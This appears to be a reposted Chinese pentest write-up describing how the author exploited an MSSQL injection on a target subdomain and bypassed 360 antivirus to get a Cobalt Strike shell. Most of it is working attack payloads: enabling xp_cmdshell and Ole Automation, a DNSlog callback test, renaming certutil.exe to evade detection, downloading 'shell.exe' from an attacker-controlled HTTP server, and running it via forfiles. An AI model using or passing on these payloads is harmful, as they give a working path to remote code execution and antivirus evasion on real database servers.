前言
漏洞挖掘 在一次渗透测试过程中,对主站进行漏洞挖掘无果后,对子站进行挖掘。在子站发现mssql注入漏洞 Getshell
Part.1 漏洞挖掘
在一次渗透测试过程中,对主站进行漏洞挖掘无果后,对子站进行挖掘。
在子站发现mssql注入漏洞

Part.2 Getshell
用
1=(select is_srvrolemember(‘sysadmin’))
和
host_name()!=@@servername
判断出权限为sa权限,且站库分离,写不了webshell。然后用sqlmap跑os-shell,发现执行命令无效。
使用
EXEC sp_configure ‘show advanced options’,1 RECONFIGURE EXEC sp_configure ‘xp_cmdshell’,1 RECONFIGURE;
尝试开启xp_cmdshell依旧无效。
用
create table tmp(dir ntext,num int)
创建表,然后用
insert tmp execute master..xp_dirtree ‘c:/’
1将c盘目录插入表中,查看表发现360,之前命令都被360拦截了。
Part.3 绕过360上线CS
经过上网搜索之后,发现可以用sp_oacreate执行命令。
开启sp_oacreate:
exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
构造命令语句,因为使用sp_oacreate执行命令是无回显的,使用dnslog平台进行判断:
Declare @runshell INT Exec SP_OACreate 'wscript.shell',@runshell out Exec SP_OAMeTHOD @runshell,'run',null,'ping who.xxxx.dnslog.cn';

但是使用certutil.exe,wmic,mshta等任然无效
利用sp_oacreate构造语句,将certutil.exe复制到c:\windows\temp\下,并重命名为sethc.exe:
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\certutil.exe' ,'c:\windows\temp\sethc.exe';
在服务器上用python开启http服务,然后使用命令远程下载exe文件:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\Temp\sethc.exe -urlcache -split -f "http://ip:port/shell.exe" C:\Windows\Temp\shell.exe'

木马是传上去了,但是运行不了。。。。
最后请教Se10rc大佬,可以用forfiles c test.exe,既:
Declare @runshell INT Exec SP_OACreate 'wscript.shell',@runshell out Exec SP_OAMeTHOD @runshell,'run',null,'forfiles c shell.exe';

扫码二维码
获取更多姿势
F12sec


往期推荐
实战 | 记一次文件上传多重bypass
文章转载自F12sec,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




